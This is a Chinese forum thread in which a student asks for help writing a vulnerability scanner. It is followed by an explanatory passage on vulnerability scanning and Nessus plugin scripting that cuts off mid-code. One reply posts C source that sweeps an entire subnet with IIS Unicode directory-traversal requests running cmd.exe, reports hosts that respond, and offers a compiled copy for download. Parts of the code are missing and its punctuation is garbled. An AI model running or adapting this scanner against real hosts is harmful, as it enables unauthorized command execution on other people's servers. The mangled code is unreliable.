小弟我最近要利用java编写一个安全扫描系统的漏洞扫描部分的程序。由于对这方面不很了解,希望得到高手的帮助!!我现在不知道怎么入手去做这个程序。谁能够帮帮我啊??不胜感激!!!我现在想用错误注入的方式来进行编程。谁能提供给我一些相关源代码呢??!!
热心网友
如果你要这个程序的执行文件,我编译了一个,做到了主页上,有需要的请自行去下载: 这个版本我将IP地址的扫描设定成了一个c段,使用方法是:scan 。*其中的星号是从1到255,因为程序是单线成的,所以有点慢,我会尽快改进另外这次还增加了另外几个UNICODE,这样就将程序所能扫描的漏洞完整了/* UNICODE hole scanner。 The version is 0。5 */#include #include #include main(int argc,char *argv[]){ if(argc!=2){ printf("\nUNICODE hole scanner by Maxview。 Ver 0。5\n"); printf("Useage : scan [IP address] (C-class)\n"); printf("Example: scan 202。100。2。* OR scan 211。17。65。*\n"); return(1); } int sock; struct sockaddr_in blah; struct hostent *he; WSADATA wsaData; WORD wVersionRequested=MAKEWORD(1,1); char buff[1024]; char *exA="GET /scripts/。。%c1%1c。。/winnt/system32/cmd。exe?/c+dir+c:\ HTTP/1。0\n\n"; char *exB="GET /scripts/。。%c1%9c。。/winnt/system32/cmd。exe?/c+dir+c:\ HTTP/1。0\n\n"; char *exC="GET /scripts/。。%c0%af。。/winnt/system32/cmd。exe?/c+dir+c:\ HTTP/1。0\n\n"; char *exD="GET /scripts/。。%c0%2f。。/winnt/system32/cmd。exe?/c+dir+c:\ HTTP/1。0\n\n"; char *exE="GET /scripts/。。%c1%9c。。/winnt/system32/cmd。exe?/c+dir+c:\ HTTP/1。0\n\n"; char *fmsg="HTTP/1。1 200 OK"; char host[1000]; char net[1000]; int i; strncpy(host,argv[1],999); if (host[strlen(host)-1]=='*') { host[strlen(host)-1]=0x0; } for (i=1; ih_addr,he-h_length); } else{ if(( n_addr。s_addr=inet_addr(net))==INADDR_NONE){ WSACleanup(); exit(1); } } if (connect(sock,(struct sockaddr*)&blah,sizeof(blah))==0){ send(sock,exA,strlen(exA),0); recv(sock,buff,sizeof(buff),0); if(strstr(buff,fmsg)!=NULL){ printf("\nFound an UNICODE-A hole in %s %s\n", net, exA); } else printf("。"); send(sock,exB,strlen(exB),0); recv(sock,buff,sizeof(buff),0); if(strstr(buff,fmsg)!=NULL){ printf("\nFound an UNICODE-B hole in %s %s\n", net, exB); } else printf("。"); send(sock,exC,strlen(exC),0); recv(sock,buff,sizeof(buff),0); if(strstr(buff,fmsg)!=NULL){ printf("\nFound an UNICODE-C hole in %s %s\n", net, exC); } else printf("。"); send(sock,exD,strlen(exD),0); recv(sock,buff,sizeof(buff),0); if(strstr(buff,fmsg)!=NULL){ printf("\nFound an UNICODE-D hole in %s %s\n", net, exD); } else printf("。"); send(sock,exE,strlen(exE),0); recv(sock,buff,sizeof(buff),0); if(strstr(buff,fmsg)!=NULL){ printf("\nFound an UNICODE-E hole in %s %s\n", net, exE); } else printf("。"); } else printf("Can not connect the address。\n"); closesocket(sock); WSACleanup(); }}使用漏洞扫描工具评估网络系统安全漏洞扫描是保证系统和网络安全必不可少的手段,本文将讲述Linux系统中,如何使用免费的远程安全扫描器Nessus进行漏洞扫描。面对互联网入侵,如果我们能够根据具体的应用环境,尽可能早地通过网络扫描来发现安全漏洞,并及时采取适当的处理措施进行修补,就可以有效地阻止入侵事件的发生。因此,漏洞扫描非常重要和必要。漏洞扫描就是对计算机系统或者其他网络设备进行安全相关的检测,以找出安全隐患和可被黑客利用的漏洞。漏洞扫描通常采用两种策略,第一种是被动式策略,第二种是主动式策略。所谓被动式策略就是基于主机之上,对系统中不合适的设置,脆弱的口令以及其他同安全规则抵触的对象进行检查;而主动式策略是基于网络的,它通过执行一些脚本文件模拟对系统进行攻击的行为并记录系统的反应,从而发现其中的漏洞。基于网络的检测技术,采用积极的,非破坏性的办法来检验系统是否有可能被攻击崩溃。它利用了一系列的脚本模拟对系统进行攻击的行为,然后对结果进行分析。它还针对已知的网络漏洞进行检验。网络检测技术常被用来进行穿透实验和安全审记。网络漏洞扫描的实现网络漏洞扫描方式通过远程检测目标主机TCP/IP不同端口的服务,记录目标给予的回答。通过这种方法,可以搜集到很多目标主机的各种信息,例如是否能用匿名登陆,是否有可写的FTP目录,是否能用Telnet等。在获得目标主机TCP/IP端口和其对应的网络访问服务的相关信息后,与网络漏洞扫描系统提供的漏洞库进行匹配,如果满足匹配条件,则视为漏洞存在。漏洞扫描软件从最初的专门为Unix系统编写的一些只具有简单功能的小程序,发展到现在,已经出现了多个运行在各种操作系统平台上的、具有复杂功能的商业程序。对于用户来说,有如下几种实现方式:● 使用插件(plug-in)。每个插件都封装一个或者多个漏洞的测试手段,主扫描程序通过调用插件的方法来执行扫描。仅仅是添加新的插件就可以使软件增加新功能,扫描更多漏洞。在插件编写规范公布的情况下,用户或者第三方公司甚至可以自己编写插件来扩充软件的功能。同时这种技术使软件的升级维护都变得相对简单,并具有非常强的扩展性。●使用专用脚本语言。这其实就是一种更高级的插件技术,用户可以使用专用脚本语言来扩充软件功能。脚本语言的使用,简化了编写新插件的编程工作,使扩充软件功能的工作变得更加容易和方便。● 由漏洞扫描程序过渡到安全评估专家系统。最早的漏洞扫描程序只是简单地把各个扫描测试项的执行结果罗列出来,直接提供给测试者而不对信息进行任何分析处理。而当前较成熟的扫描系统都能够将对单个主机的扫描结果整理,形成报表,能够对具体漏洞提出一些解决方法,但对网络的状况缺乏一个整体的评估。未来的安全扫描系统,应该不但能够扫描安全漏洞,还能够智能化的协助网络信息系统管理人员评估本网络的安全状况,给出安全建议,成为一个安全评估专家系统。而Nessus 是一个功能强大的远程安全扫描器(该软件可以从 测试都是由nessusd进程发动的。在测试过程中,Nessus会为每个主机维护一份由扫描测试插件获得的基本信息。各种其他的测试插件应该尽可能地利用这些信息,以提高测试效率。每个安全测试插件需要向Nessus服务器进行注册后,才能使用。注册信息包括名字、描述、作者等。实例分析下面通过编写一个简单的脚本来测试Web服务器。这里的WWW服务器采用的是Apache,要实现对其安全测试和模拟攻击首先要做的是搜集服务器的信息。因此,将先测试一下服务器是否存在泄露自身信息的漏洞。(如图1所示)这个算法的思想就是:构造一个URL: // 置了脚本的依赖关系。port=get_kb_item(Services/www);if(!port)port=80;这两行代码是获得服务器提供WWW服务的端口号,Nessus并不认为服务器一定在公认端口提供相应服务。其中get_kb_item()函数用来从KB库中返回对应参数所对应的值,在这里,如果服务器在其他端口提供WWW服务的话,这个函数则返回其非80端口号。string=ApacheServerInformation;if(get_port_state(port)){soc=http_open_socket(port); if(soc){buffer=http_get(item:/server-info,port:port);send(socket:soc,data:buffer);data=http_recv(socket:soc);if(string